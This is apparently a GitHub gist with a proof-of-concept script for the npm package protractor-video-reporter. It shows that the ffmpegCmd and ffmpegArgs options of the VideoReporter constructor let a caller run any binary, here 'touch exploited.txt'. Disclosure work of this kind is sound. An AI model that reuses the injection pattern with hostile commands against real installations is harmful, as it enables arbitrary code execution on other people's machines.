Created
October 29, 2023 23:20
-
-
Save mcoimbra/5208d7facaa0d422d6180faea707c85c to your computer and use it in GitHub Desktop.
Package protractor-video-reporter: it is possible to take advantage of the 'options' argument of the VideoReporter constructor to execute a custom binary and arguments (authors only focus on ffmpeg executables...).
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('protractor-video-reporter'); | |
console.log(pkg); | |
const options = { | |
ffmpegCmd: 'touch', | |
ffmpegArgs: ['exploited.txt'] | |
} | |
const i = new pkg(options); | |
console.log(i); | |
const videoPath = '../'; | |
/* | |
* This will call spawn('touch', ['exploited.txt'] on line #84 | |
* of src/lib/VideoReporter.js. | |
* A local 'exploited.txt' file is created. | |
*/ | |
i._startScreencast(videoPath); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment